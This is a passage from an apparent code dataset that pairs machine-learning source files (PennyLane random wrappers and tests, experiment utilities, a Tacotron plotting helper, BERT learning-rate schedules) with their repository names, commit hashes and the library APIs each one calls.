angular_step_unit}))\n\n f.close()\n \n \n \n" ]
[ [ "numpy.expand_dims", "numpy.ones", "numpy.arange", "numpy.zeros" ] ]
ryanlevy/pennylane
[ "fb03b09d17267ebd0b9050432f9eeb84b5dff200", "fb03b09d17267ebd0b9050432f9eeb84b5dff200" ]
[ "pennylane/numpy/random.py", "tests/collections/test_qnode_collection.py" ]
[ "# Copyright 2018-2021 Xanadu Quantum Technologies Inc.\r\n\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\"\"\"\r\nThis package provides a wrapped version of autograd.numpy.random, such that\r\nit works with the PennyLane :class:`~.tensor` class.\r\n\"\"\"\r\nimport semantic_version\r\n\r\nfrom autograd.numpy import random as _random\r\nfrom numpy import __version__ as np_version\r\nfrom numpy.random import MT19937, PCG64, Philox, SFC64 # pylint: disable=unused-import\r\n\r\nfrom .wrapper import wrap_arrays, tensor_wrapper\r\n\r\nwrap_arrays(_random.__dict__, globals())\r\n\r\n\r\nnp_version_spec = semantic_version.Spec(\">=0.17.0\")\r\nif np_version_spec.match(semantic_version.Version(np_version)):\r\n # pylint: disable=too-few-public-methods\r\n # pylint: disable=missing-class-docstring\r\n class Generator(_random.Generator):\r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n\r\n self.__doc__ = \"PennyLane wrapped NumPy Generator object\\n\" + super().__doc__\r\n\r\n for name in dir(_random.Generator):\r\n if name[0] != \"_\":\r\n self.__dict__[name] = tensor_wrapper(getattr(super(), name))\r\n\r\n # pylint: disable=missing-function-docstring\r\n def default_rng(seed=None):\r\n # Mostly copied from NumPy, but uses our Generator instead\r\n\r\n if hasattr(seed, \"capsule\"): # I changed this line\r\n # We were passed a BitGenerator, so just wrap it up.\r\n return Generator(seed)\r\n if isinstance(seed, Generator):\r\n # Pass through a Generator.\r\n return seed\r\n # Otherwise we need to instantiate a new BitGenerator and Generator as\r\n # normal.\r\n return Generator(PCG64(seed))\r\n\r\n default_rng.__doc__ = (\r\n \"PennyLane duplicated generator constructor\\n\" + _random.default_rng.__doc__\r\n )\r\n", "# Copyright 2018-2020 Xanadu Quantum Technologies Inc.\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nUnit tests for the :mod:`pennylane.QNodeCollection`\n\"\"\"\nfrom collections.abc import Sequence\n\nimport numpy as onp\nimport pytest\nfrom pennylane import numpy as np\n\nimport pennylane as qml\n\ntry:\n import torch\nexcept ImportError as e:\n torch = None\n\ntry:\n import tensorflow as tf\n\n if tf.__version__[0] == \"1\":\n tf.enable_eager_execution()\n\n from tensorflow import Variable\nexcept ImportError as e:\n tf = None\n Variable = None\n\n\nclass TestConstruction:\n \"\"\"Tests for the QNodeCollection construction\"\"\"\n\n def test_empty_init(self):\n \"\"\"Test that an empty QNode collection can be initialized\"\"\"\n qc = qml.QNodeCollection()\n assert qc.qnodes == []\n assert len(qc) == 0\n\n def test_init_with_qnodes(self):\n \"\"\"Test that a QNode collection can be initialized with QNodes\"\"\"\n dev = qml.device(\"default.qubit\", wires=1)\n\n def circuit(x):\n qml.RX(x, wires=0)\n return qml.expval(qml.PauliZ(0))\n\n qnodes = [qml.QNode(circuit, dev) for i in range(4)]\n qc = qml.QNodeCollection(qnodes)\n\n assert qc.qnodes == qnodes\n assert len(qc) == 4\n\n @pytest.mark.parametrize(\"interface\", [\"autograd\", \"torch\", \"tf\"])\n def test_interface_property(self, interface, tf_support, torch_support):\n \"\"\"Test that the interface property correctly\n resolves interfaces from the internal QNodes\"\"\"\n if interface == \"torch\" and not torch_support:\n pytest.skip(\"Skipped, no torch support\")\n\n if interface == \"tf\" and not tf_support:\n pytest.skip(\"Skipped, no tf support\")\n\n qc = qml.QNodeCollection()\n assert qc.interface is None\n\n def circuit(x):\n qml.RX(x, wires=0)\n return qml.expval(qml.PauliZ(0))\n\n dev = qml.device(\"default.qubit\", wires=1)\n qnodes = [qml.QNode(circuit, dev, interface=interface) for i in range(4)]\n qc = qml.QNodeCollection(qnodes)\n assert qc.interface == interface\n\n def test_append_qnode(self):\n \"\"\"Test that a QNode is correctly appended\"\"\"\n qc = qml.QNodeCollection()\n assert qc.qnodes == []\n\n def circuit(x):\n qml.RX(x, wires=0)\n return qml.expval(qml.PauliZ(0))\n\n dev = qml.device(\"default.qubit\", wires=1)\n qnode = qml.QNode(circuit, dev)\n qc.append(qnode)\n\n assert qc.qnodes == [qnode]\n\n def test_extend_qnodes(self):\n \"\"\"Test that a list of QNodes is correctly appended\"\"\"\n qc = qml.QNodeCollection()\n assert qc.qnodes == []\n\n def circuit(x):\n qml.RX(x, wires=0)\n return qml.expval(qml.PauliZ(0))\n\n dev = qml.device(\"default.qubit\", wires=1)\n qnodes = [qml.QNode(circuit, dev) for i in range(4)]\n qc.extend(qnodes)\n\n assert qc.qnodes == [] + qnodes\n\n def test_extend_multiple_interface_qnodes(self):\n \"\"\"Test that an error is returned if QNodes with differing\n interfaces are attempted to be added to a QNodeCollection\"\"\"\n qc = qml.QNodeCollection()\n\n def circuit(x):\n qml.RX(x, wires=0)\n return qml.expval(qml.PauliZ(0))\n\n dev = qml.device(\"default.qubit\", wires=1)\n qnodes = [\n qml.QNode(circuit, dev, interface=\"autograd\"),\n qml.QNode(circuit, dev, interface=None),\n ]\n\n with pytest.raises(ValueError, match=\"do not all use the same interface\"):\n qc.extend(qnodes)\n\n def test_extend_interface_mismatch(self):\n \"\"\"Test that an error is returned if QNodes with a differing\n interface to the QNode collection are appended\"\"\"\n qc = qml.QNodeCollection()\n\n def circuit(x):\n qml.RX(x, wires=0)\n return qml.expval(qml.PauliZ(0))\n\n dev = qml.device(\"default.qubit\", wires=1)\n qnode1 = qml.QNode(circuit, dev, interface=\"autograd\")\n qnode2 = qml.QNode(circuit, dev, interface=None)\n\n qc.extend([qnode1])\n\n with pytest.raises(ValueError, match=\"Interface mismatch\"):\n qc.extend([qnode2])\n\n def test_indexing(self):\n \"\"\"Test that indexing into the QNodeCollection correctly works\"\"\"\n\n def circuit(x):\n qml.RX(x, wires=0)\n return qml.expval(qml.PauliZ(0))\n\n dev = qml.device(\"default.qubit\", wires=1)\n qnodes = [qml.QNode(circuit, dev) for i in range(4)]\n\n qc = qml.QNodeCollection(qnodes)\n assert qc[2] == qnodes[2]\n\n def test_sequence(self):\n \"\"\"Test that the QNodeCollection is a sequence type\"\"\"\n qc = qml.QNodeCollection()\n assert isinstance(qc, Sequence)\n\n\[email protected](\"parallel\", [False, True])\nclass TestEvalation:\n \"\"\"Tests for the QNodeCollection evaluation\"\"\"\n\n @pytest.mark.parametrize(\"interface\", [\"autograd\"])\n def test_eval_autograd(self, qnodes, parallel, interface):\n \"\"\"Test correct evaluation of the QNodeCollection using\n the Autograd interface\"\"\"\n qnode1, qnode2 = qnodes\n qc = qml.QNodeCollection([qnode1, qnode2])\n params = [0.5643, -0.45]\n\n res = qc(params, parallel=parallel)\n expected = np.vstack([qnode1(params), qnode2(params)])\n assert np.all(res == expected)\n\n @pytest.mark.parametrize(\"interface\", [\"autograd\"])\n def test_grad_autograd(self, qnodes, parallel, interface):\n \"\"\"Test correct gradient of the QNodeCollection using\n the Autograd interface\"\"\"\n qnode1, qnode2 = qnodes\n\n params = [0.5643, -0.45]\n qc = qml.QNodeCollection([qnode1, qnode2])\n cost_qc = lambda params: np.sum(qc(params))\n grad_qc = qml.grad(cost_qc)\n\n cost_expected = lambda params: np.sum(qnode1(params) + qnode2(params))\n grad_expected = qml.grad(cost_expected)\n\n res = grad_qc(params)\n expected = grad_expected(params)\n\n assert np.all(res == expected)\n\n @pytest.mark.parametrize(\"interface\", [\"torch\"])\n def test_eval_torch(self, qnodes, skip_if_no_torch_support, parallel, interface):\n \"\"\"Test correct evaluation of the QNodeCollection using\n the torch interface\"\"\"\n qnode1, qnode2 = qnodes\n qc = qml.QNodeCollection([qnode1, qnode2])\n params = [0.5643, -0.45]\n\n res = qc(params, parallel=parallel).numpy()\n expected = np.vstack([qnode1(params), qnode2(params)])\n assert np.all(res == expected)\n\n @pytest.mark.parametrize(\"interface\", [\"torch\"])\n def test_grad_torch(self, qnodes, skip_if_no_torch_support, parallel, interface):\n \"\"\"Test correct gradient of the QNodeCollection using\n the torch interface\"\"\"\n qnode1, qnode2 = qnodes\n\n # calculate the gradient of the collection using pytorch\n params = torch.autograd.Variable(torch.tensor([0.5643, -0.45]), requires_grad=True)\n qc = qml.QNodeCollection([qnode1, qnode2])\n cost = torch.sum(qc(params, parallel=parallel))\n cost.backward()\n res = params.grad.numpy()\n\n # calculate the gradient of the QNodes individually using pytorch\n params = torch.autograd.Variable(torch.tensor([0.5643, -0.45]), requires_grad=True)\n cost = torch.sum(qnode1(params) + qnode2(params))\n cost.backward()\n expected = params.grad.numpy()\n\n assert np.all(res == expected)\n\n @pytest.mark.parametrize(\"interface\", [\"tf\"])\n def test_eval_tf(self, qnodes, skip_if_no_tf_support, parallel, interface):\n \"\"\"Test correct evaluation of the QNodeCollection using\n the tf interface\"\"\"\n qnode1, qnode2 = qnodes\n qc = qml.QNodeCollection([qnode1, qnode2])\n params = [0.5643, -0.45]\n\n res = qc(params, parallel=parallel).numpy()\n expected = onp.vstack([qnode1(params), qnode2(params)])\n assert np.all(res == expected)\n\n @pytest.mark.xfail(raises=AttributeError, reason=\"Dask breaks the TF gradient tape\")\n @pytest.mark.parametrize(\"interface\", [\"tf\"])\n def test_grad_tf(self, qnodes, skip_if_no_tf_support, parallel, interface):\n \"\"\"Test correct gradient of the QNodeCollection using\n the tf interface\"\"\"\n if parallel and qml.tape_mode_active():\n pytest.skip(\n \"There appears to be a race condition when constructing TF tapes in parallel\"\n )\n\n qnode1, qnode2 = qnodes\n\n # calculate the gradient of the collection using tf\n params = Variable([0.5643, -0.45])\n qc = qml.QNodeCollection([qnode1, qnode2])\n\n with tf.GradientTape() as tape:\n tape.watch(params)\n\n if parallel:\n with pytest.warns(UserWarning):\n cost = sum(qc(params, parallel=parallel))\n else:\n cost = sum(qc(params, parallel=parallel))\n\n # the gradient will be None\n res = tape.gradient(cost, params).numpy()\n\n # calculate the gradient of the QNodes individually using tf\n params = Variable([0.5643, -0.45])\n\n with tf.GradientTape() as tape:\n tape.watch(params)\n cost = sum(qnode1(params) + qnode2(params))\n expected = tape.gradient(cost, params).numpy()\n\n assert np.all(res == expected)\n" ]
[ [ "numpy.random.PCG64" ], [ "tensorflow.enable_eager_execution", "tensorflow.Variable", "tensorflow.GradientTape", "torch.tensor" ] ]
rfelixmg/util
[ "899360382f8b097b0f3faf70e9b3e7abcdd0b255" ]
[ "experiments.py" ]
[ "\"\"\"\nMIT License\n\nCopyright (c) 2018 Rafael Felix Alves\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\nimport numpy as np\n\n\nclass CronoMeter(object):\n def __init__(self):\n self.reset()\n\n def reset(self):\n import datetime, time\n\n self.start = datetime.datetime.now()\n self.step = 0.\n self.avg = 0.\n self.sum = 0.\n self.now = time.time()\n self.previous = self.now\n self.count = 0\n self.expected = 1.\n self.accumulative = []\n\n def get_total(self):\n return self.format_time(measure=self.sum)\n\n def get_step(self):\n return self.format_time(measure=self.step)\n\n def from_last(self):\n import time\n return time.time() - self.previous\n\n def get_avg(self):\n return self.format_time(measure=self.avg)\n\n def format_time(self, measure):\n return '%.2d:%.2d:%.2f' % (np.int(measure / 360.),\n np.int(measure / 60.),\n (measure % 60))\n\n def update(self, n=1):\n import time\n self.now = time.time()\n self.step = self.now - self.previous\n self.previous = self.now\n self.sum += self.step\n self.count += n\n self.avg = self.sum / self.count\n self.accumulative.append(self.step)\n\n def get_end(self, current, last, txt=False):\n import datetime\n r = last - current + 1\n time_left = self.avg * r\n self.expected = datetime.datetime.now() + \\\n datetime.timedelta(seconds=time_left)\n c_ = ('%.' + str(len(str(last))) + 'd') % (current)\n if txt:\n print\n txt + '(%s/%d) Avg [%s] Prv [%s] | Estimative %s' % \\\n (c_,\n last,\n self.get_step(),\n self.get_avg(),\n '{:%d/%b %H:%M:%S}'.format(self.expected))\n else:\n print\n '(%s/%d) Avg [%s] Prv [%s] | Estimative %s' % \\\n (c_,\n last,\n self.get_step(),\n self.get_avg(),\n '{:%d/%b %H:%M:%S}'.format(self.expected))\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n def __init__(self):\n self.reset()\n\n def max(self):\n assert len(self.list) > 0\n return np.array(self.list).max()\n\n def min(self):\n assert len(self.list) > 0\n return np.array(self.list).min()\n\n def mean(self):\n assert len(self.list) > 0\n return np.array(self.list).mean()\n\n def var(self):\n assert len(self.list) > 0\n return np.array(self.list).var()\n\n def summary(self):\n return '(min: {:.4g} | mean: {:.4g} | max: {:.4g} | val: {:.4g})'.format(self.min(),\n self.mean(),\n self.max(),\n self.val)\n\n def stats(self):\n return {'min': self.min(),\n 'mean': self.mean(),\n 'max': self.max(),\n 'val': self.val}\n\n def get_last(self):\n return self.list[-1]\n\n def reset(self):\n self.val = 0.\n self.avg = 0.\n self.sum = 0.\n self.count = 0.\n self.list = [0.]\n self.flag = True\n\n def get_iter(self, itr=-1):\n return self.list[itr]\n\n def value(self):\n return self.val\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n if self.flag:\n self.list = [val] * n\n self.flag = False\n else:\n [self.list.append(val) for i in range(n)]\n\n def repeat(self, n=1):\n self.sum += self.val * n\n self.count += n\n self.avg = self.sum / self.count\n if self.flag:\n self.list = [self.val] * n\n self.flag = False\n else:\n [self.list.append(self.val) for i in range(n)]\n\n def get_list(self):\n return np.array(self.list)\n\n def savetxt(self, fname):\n try:\n np.savetxt(fname, np.array(self.list))\n except:\n raise 'Error saving {}'.format(fname)\n\n\ndef generate_result_list(split_val=False):\n return {'train':{},\n 'val':{'seen':{},\n 'unseen':{}},\n 'test': {'seen': {},\n 'unseen': {}}}\n\ndef generate_metric_list(metric_list, split_val=False):\n from util.storage import Container\n if split_val:\n return Container({'train': {cname: AverageMeter() for cname in metric_list},\n 'val': {'seen': {cname: AverageMeter() for cname in metric_list},\n 'unseen': {cname: AverageMeter() for cname in metric_list}},\n 'test': {'seen': {cname: AverageMeter() for cname in metric_list},\n 'unseen': {cname: AverageMeter() for cname in metric_list}},\n 'hmean': {'val': AverageMeter(),\n 'test': AverageMeter(),}})\n else:\n return Container({'train': {cname: AverageMeter() for cname in metric_list},\n 'val': {cname: AverageMeter() for cname in metric_list},\n 'test': {'seen': {cname: AverageMeter() for cname in metric_list},\n 'unseen': {cname: AverageMeter() for cname in metric_list}},\n 'hmean': AverageMeter()})\n\n\nclass Print(object):\n def __init__(self):\n pass\n\n def print_inline(self, x):\n from sys import stdout\n stdout.write('\\r{} '.format(x))\n stdout.flush()\n\n\ndef label2hot(y, dim=False):\n if not dim:\n dim = np.max(y) + 1\n return np.eye(dim)[y].astype(np.int)\n\n\ndef hot2label(y):\n return y.argmax(axis=1)\n\n\ndef id2label(x, data):\n \"\"\"\n id2label given a vector, transform based on a dict\n :param x: vector\n :param data: dict{int id: int label}\n :return: \n \"\"\"\n return np.array([data[kk] for kk in x]).astype(np.int)\n\n\ndef list_ids(x, shuffle=True):\n \"\"\"\n list ids: get a matrix and return a shuffle list of positions\n :param x: \n :param shuffle: \n :return: \n \"\"\"\n dim_x = x.shape[0]\n # ids_ = np.array(range(dim_x))\n\n if shuffle:\n ids_ = np.random.permutation(dim_x)\n else:\n ids_ = np.array(range(dim_x))\n\n return ids_, dim_x\n\ndef garbage_checklist(checklist, cname, nmax=10, ctype='min', verbose=False):\n \"\"\"\n garbage_checklist: this method aims to clean the folder where the models are being saved.\n This method keeps the harddrive clean of undeserible models.\n\n :param checklist: dictionary {\"current\":[{'file': '', cname: float(), 'epoch': int{}}]\n \"deleted\":[{'file': '', cname: float(), 'epoch': int{}}]}\n :param cname: name of the criteria parameter\n :param nmax: number of models allowed to be saved on disk\n :param ctype: criteria type, min: minimization or max: maximization\n\n :return: True: if process correctly, False if some strange behavior happned;\n\n\n Example:\n --------\n\n checklist = {\"current\":[{'file': '1', 'cname': 1, 'epoch': 1, 'deletable':True},\n {'file': '2', 'cname': 2, 'epoch': 2, 'deletable':False},\n {'file': '3', 'cname': 3, 'epoch': 3, 'deletable':True},\n {'file': '4', 'cname': 4, 'epoch': 4, 'deletable':False},\n {'file': '5', 'cname': 5, 'epoch': 5, 'deletable':True},\n {'file': '6', 'cname': 6, 'epoch': 6, 'deletable':False}]}\n garbage_model(checklist, 'cname', nmax=3)\n \n \"\"\"\n import shutil\n from os import symlink\n import os\n try:\n if verbose:\n print(':: GargabageModel - Initializing garbage collector... ')\n print(':: GargabageModel - length list: {}'.format(len(checklist['current'])))\n from os import remove\n current_checkpoints = []\n for value in checklist['current']:\n if value['deletable']:\n current_checkpoints.append(value)\n\n if len(current_checkpoints) > nmax:\n if ctype == 'min':\n current_checkpoints.sort(key=lambda x: x[cname])\n elif ctype == 'max':\n current_checkpoints.sort(key=lambda x: x[cname], reverse=True)\n else:\n raise \":: GargabageModel - Not implemented: criteria == {}\".format(ctype)\n\n if verbose:\n print(':: GargabageModel - deleting model: {}'.format(checklist['current'][-1]['file']))\n delete_item = current_checkpoints[-1]\n sym_item = current_checkpoints[0]\n try:\n remove('{}/best_model'.format(os.path.dirname(sym_item['file'][:-1])))\n except:\n print(':: Removing Symbolic link fail!')\n try:\n symlink(sym_item['file'], '{}/best_model'.format(os.path.dirname(sym_item['file'][:-1])))\n except:\n print(':: Creating Symbolic link fail!')\n\n\n # Remove model from folder\n try:\n remove(delete_item['file'])\n except:\n\n shutil.rmtree(delete_item['file'], ignore_errors=True)\n\n checklist['deleted'].append(delete_item)\n for key, value in enumerate(checklist['current']):\n if delete_item['epoch'] == value['epoch']:\n key_delete = key\n del(delete_item, checklist['current'][key_delete])\n\n return checklist\n\n\n else:\n if verbose:\n print(':: GargabageModel - Minimum number of models not reached yet')\n\n return checklist\n\n except Exception as e:\n import sys, traceback\n print(':: Exception::GargabageModel - {}'.format(e))\n traceback.print_exc(file=sys.stdout)\n\n\ndef checkpoint_assessment(count_inertia, history=tuple(), max_inertia=3, min_criteria=1., n_element=4):\n \"\"\"\n checkpoint_assessment: this function assess if the code should save the checkpoint\n :param count_inertia: number of previous inertia\n :param history: lists that should be assess\n :param max_inertia: number maximum of inertia possible\n :param min_criteria: number min of criteria to be assess\n :param n_element: number of elements minimum to assess\n \n :return: dictkey{'save': Bool, 'inertia': Int, 'interrupt': Bool}\n \"\"\"\n\n assert len(history) >= 1\n\n if history[0][1].shape[0] >= n_element:\n criterias = 0\n for ctype, metric, name in history:\n l_element = metric[-n_element:].shape[0] - 1\n if ctype is 'max':\n if metric[-n_element:].argmax() == l_element:\n criterias += 1\n elif ctype is 'min':\n if metric[-n_element:].argmax() == l_element:\n criterias += 1\n\n if criterias >= min_criteria:\n return {'save': True, 'inertia': 0, 'interrupt': False}\n\n elif count_inertia > max_inertia:\n return {'save': True, 'inertia': count_inertia + 1, 'interrupt': True}\n else:\n return {'save': True, 'inertia': count_inertia, 'interrupt': True}\n\n else:\n return {'save': True, 'inertia': 0, 'interrupt': False}\n\n\ndef find_config(root):\n from os import listdir\n for tfile in listdir(root):\n if tfile.startswith('configuration_'):\n return '{}/{}'.format(root, tfile)\n return False\n\n\ndef save_checkpoint(model, checkpoint_dir, history, value, epoch, epochs, options, checklist, check_metric, ctype='min'):\n # TODO: is really necessary to save 200mb per checkpoint?\n if (epoch % options.checkpoint == 0) or (epoch + 2 > epochs):\n if options.savepoints:\n if epoch in options.savepoints:\n print(':: Model save point in savepoints {}'.format(options.savepoints))\n model.save(checkpoint_dir, epoch)\n checklist['current'].append({'file': checkpoint_dir,\n check_metric: value,\n 'epoch': epoch,\n 'deletable': False})\n else:\n checkpoint_info = checkpoint_assessment(0, history=history, max_inertia=options.checkpoints_inertia, min_criteria=1., n_element=5)\n\n if checkpoint_info['save']:\n model.save(checkpoint_dir, epoch)\n checklist['current'].append({'file': checkpoint_dir,\n check_metric: value,\n 'epoch': epoch,\n 'deletable': True})\n checklist = garbage_checklist(checklist=checklist, cname=check_metric, ctype=ctype,\n nmax=options.checkpoints_max)\n else:\n checkpoint_info = checkpoint_assessment(0, history=history, max_inertia=options.checkpoints_inertia,\n min_criteria=1., n_element=5)\n\n if checkpoint_info['save']:\n model.save(checkpoint_dir, epoch)\n checklist['current'].append({'file': checkpoint_dir,\n check_metric: value,\n 'epoch': epoch,\n 'deletable': True})\n checklist = garbage_checklist(checklist=checklist, cname=check_metric, ctype=ctype,\n nmax=options.checkpoints_max)\n\n # TODO: add inertia interruption to this models\n #if checkpoint_info['interrupt']:\n return checklist" ]
[ [ "numpy.max", "numpy.array", "numpy.int", "numpy.random.permutation", "numpy.eye" ] ]
Qwaz/tacotron-ksss
[ "e0428fef02175e5b52caeb02468ddf2975c3c2e7" ]
[ "tacotron/utils/plot.py" ]
[ "import matplotlib\nfrom jamo import h2j, j2hcj\n\nmatplotlib.use('Agg')\nmatplotlib.rc('font', family=\"NanumBarunGothic\")\nimport matplotlib.pyplot as plt\n\nfrom ..text import PAD, EOS\nfrom ..text.korean import normalize\n\ndef plot(alignment, info, text, isKorean=True):\n char_len, audio_len = alignment.shape # 145, 200\n\n fig, ax = plt.subplots(figsize=(char_len/5, 5))\n im = ax.imshow(\n alignment.T,\n aspect='auto',\n origin='lower',\n interpolation='none')\n\n xlabel = 'Encoder timestep'\n ylabel = 'Decoder timestep'\n\n if info is not None:\n xlabel += '\\n{}'.format(info)\n\n plt.xlabel(xlabel)\n plt.ylabel(ylabel)\n\n if text:\n if isKorean:\n jamo_text = j2hcj(h2j(normalize(text)))\n else:\n jamo_text=text\n pad = [PAD] * (char_len - len(jamo_text) - 1)\n\n plt.xticks(range(char_len),\n [tok for tok in jamo_text] + [EOS] + pad)\n\n if text is not None:\n while True:\n if text[-1] in [EOS, PAD]:\n text = text[:-1]\n else:\n break\n plt.title(text)\n\n plt.tight_layout()\n\ndef plot_alignment(\n alignment, path, info=None, text=None, isKorean=True):\n\n if text:\n tmp_alignment = alignment[:len(h2j(text)) + 2]\n\n plot(tmp_alignment, info, text, isKorean)\n plt.savefig(path, format='png')\n else:\n plot(alignment, info, text, isKorean)\n plt.savefig(path, format='png')\n\n print(\" [*] Plot saved: {}\".format(path))\n" ]
[ [ "matplotlib.use", "matplotlib.pyplot.xlabel", "matplotlib.pyplot.savefig", "matplotlib.pyplot.title", "matplotlib.pyplot.subplots", "matplotlib.rc", "matplotlib.pyplot.tight_layout", "matplotlib.pyplot.ylabel" ] ]
MsLimon/bert-sklearn
[ "050a7b0dc75d8a2d7fd526002c4642d5329a0c27" ]
[ "bert_sklearn/model/pytorch_pretrained/optimization.py" ]
[ "# coding=utf-8\n# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"PyTorch optimization for BERT model.\"\"\"\n\nimport math\nimport torch\nfrom torch.optim import Optimizer\nfrom torch.optim.optimizer import required\nfrom torch.nn.utils import clip_grad_norm_\nimport logging\nimport abc\nimport sys\n\nlogger = logging.getLogger(__name__)\n\n\nif sys.version_info >= (3, 4):\n ABC = abc.ABC\nelse:\n ABC = abc.ABCMeta('ABC', (), {})\n\n\nclass _LRSchedule(ABC):\n \"\"\" Parent of all LRSchedules here. \"\"\"\n warn_t_total = False # is set to True for schedules where progressing beyond t_total steps doesn't make sense\n def __init__(self, warmup=0.002, t_total=-1, **kw):\n \"\"\"\n :param warmup: what fraction of t_total steps will be used for linear warmup\n :param t_total: how many training steps (updates) are planned\n :param kw:\n \"\"\"\n super(_LRSchedule, self).__init__(**kw)\n if t_total < 0:\n logger.warning(\"t_total value of {} results in schedule not being applied\".format(t_total))\n if not 0.0 <= warmup < 1.0 and not warmup == -1:\n raise ValueError(\"Invalid warmup: {} - should be in [0.0, 1.0[ or -1\".format(warmup))\n warmup = max(warmup, 0.)\n self.warmup, self.t_total = float(warmup), float(t_total)\n self.warned_for_t_total_at_progress = -1\n\n def get_lr(self, step, nowarn=False):\n \"\"\"\n :param step: which of t_total steps we're on\n :param nowarn: set to True to suppress warning regarding training beyond specified 't_total' steps\n :return: learning rate multiplier for current update\n \"\"\"\n if self.t_total < 0:\n return 1.\n progress = float(step) / self.t_total\n ret = self.get_lr_(progress)\n # warning for exceeding t_total (only active with warmup_linear\n if not nowarn and self.warn_t_total and progress > 1. and progress > self.warned_for_t_total_at_progress:\n logger.warning(\n \"Training beyond specified 't_total'. Learning rate multiplier set to {}. Please set 't_total' of {} correctly.\"\n .format(ret, self.__class__.__name__))\n self.warned_for_t_total_at_progress = progress\n # end warning\n return ret\n\n @abc.abstractmethod\n def get_lr_(self, progress):\n \"\"\"\n :param progress: value between 0 and 1 (unless going beyond t_total steps) specifying training progress\n :return: learning rate multiplier for current update\n \"\"\"\n return 1.\n\n\nclass ConstantLR(_LRSchedule):\n def get_lr_(self, progress):\n return 1.\n\n\nclass WarmupCosineSchedule(_LRSchedule):\n \"\"\"\n Linearly increases learning rate from 0 to 1 over `warmup` fraction of training steps.\n Decreases learning rate from 1. to 0. over remaining `1 - warmup` steps following a cosine curve.\n If `cycles` (default=0.5) is different from default, learning rate follows cosine function after warmup.\n \"\"\"\n warn_t_total = True\n def __init__(self, warmup=0.002, t_total=-1, cycles=.5, **kw):\n \"\"\"\n :param warmup: see LRSchedule\n :param t_total: see LRSchedule\n :param cycles: number of cycles. Default: 0.5, corresponding to cosine decay from 1. at progress==warmup and 0 at progress==1.\n :param kw:\n \"\"\"\n super(WarmupCosineSchedule, self).__init__(warmup=warmup, t_total=t_total, **kw)\n self.cycles = cycles\n\n def get_lr_(self, progress):\n if progress < self.warmup:\n return progress / self.warmup\n else:\n progress = (progress - self.warmup) / (1 - self.warmup) # progress after warmup\n return 0.5 * (1. + math.cos(math.pi * self.cycles * 2 * progress))\n\n\nclass WarmupCosineWithHardRestartsSchedule(WarmupCosineSchedule):\n \"\"\"\n Linearly increases learning rate from 0 to 1 over `warmup` fraction of training steps.\n If `cycles` (default=1.) is different from default, learning rate follows `cycles` times a cosine decaying\n learning rate (with hard restarts).\n \"\"\"\n def __init__(self, warmup=0.002, t_total=-1, cycles=1., **kw):\n super(WarmupCosineWithHardRestartsSchedule, self).__init__(warmup=warmup, t_total=t_total, cycles=cycles, **kw)\n assert(cycles >= 1.)\n\n def get_lr_(self, progress):\n if progress < self.warmup:\n return progress / self.warmup\n else:\n progress = (progress - self.warmup) / (1 - self.warmup) # progress after warmup\n ret = 0.5 * (1. + math.cos(math.pi * ((self.cycles * progress) % 1)))\n return ret\n\n\nclass WarmupCosineWithWarmupRestartsSchedule(WarmupCosineWithHardRestartsSchedule):\n \"\"\"\n All training progress is divided in `cycles` (default=1.) parts of equal length.\n Every part follows a schedule with the first `warmup` fraction of the training steps linearly increasing from 0. to 1.,\n followed by a learning rate decreasing from 1. to 0. following a cosine curve.\n \"\"\"\n def __init__(self, warmup=0.002, t_total=-1, cycles=1., **kw):\n assert(warmup * cycles < 1.)\n warmup = warmup * cycles if warmup >= 0 else warmup\n super(WarmupCosineWithWarmupRestartsSchedule, self).__init__(warmup=warmup, t_total=t_total, cycles=cycles, **kw)\n\n def get_lr_(self, progress):\n progress = progress * self.cycles % 1.\n if progress < self.warmup:\n return progress / self.warmup\n else:\n progress = (progress - self.warmup) / (1 - self.warmup) # progress after warmup\n ret = 0.5 * (1. + math.cos(math.pi * progress))\n return ret\n\n\nclass WarmupConstantSchedule(_LRSchedule):\n \"\"\"\n Linearly increases learning rate from 0 to 1 over `warmup` fraction of training steps.\n Keeps 